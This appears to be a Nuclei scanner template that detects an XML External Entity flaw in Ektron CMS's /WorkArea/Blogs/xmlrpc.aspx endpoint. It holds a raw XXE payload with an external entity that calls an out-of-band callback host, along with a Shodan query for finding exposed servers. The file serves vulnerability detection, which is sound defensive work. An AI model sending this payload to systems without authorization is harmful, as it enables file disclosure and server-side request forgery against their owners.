ektron-blog-xmlrpc-xxe: Ektron CMS Blogs xmlrpc.aspx - XML External Entity Injection

id: ektron-blog-xmlrpc-xxe

info:
  name: Ektron CMS Blogs xmlrpc.aspx - XML External Entity Injection
  author: pussycat0x
  severity: high
  description: |
    Detects XML External Entity (XXE) vulnerability in Ektron CMS Blogs component (/WorkArea/Blogs/xmlrpc.aspx). Allows unauthenticated attackers to read local files or perform SSRF.
  reference:
    - https://www.exploit-db.com/exploits/21085
    - https://packetstormsecurity.com/files/116259/Ektron-CMS-8.5.0-File-Upload-XXE-Injection.html
    - https://www.acunetix.com/vulnerabilities/web/ektron-cms-multiple-vulnerabilities
  classification:
    cwe-id: CWE-611,CWE-918
  metadata:
    verified: false
    max-request: 2
    shodan-query: http.html:"EktronClientManager"
  tags: xxe,ektron,cms,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "EktronClientManager")'
        condition: and
        internal: true

  - raw:
      - |
        POST /WorkArea/Blogs/xmlrpc.aspx HTTP/1.1
        Host: {{Hostname}}

        <!DOCTYPE scan [<!ENTITY test SYSTEM "http://{{interactsh-url}}">]>
        <scan>&test;</scan>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - status_code == 200 || status_code == 500
        condition: and
# digest: 4a0a00473045022100a56d2d8bb1fb1c11f8730497a5a45e13c763401acbc94b2f5ec746bc7d2241c3022072de8758bc5360ac317ee2305995188bf522327003efaeb9667d875e005cb0fe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.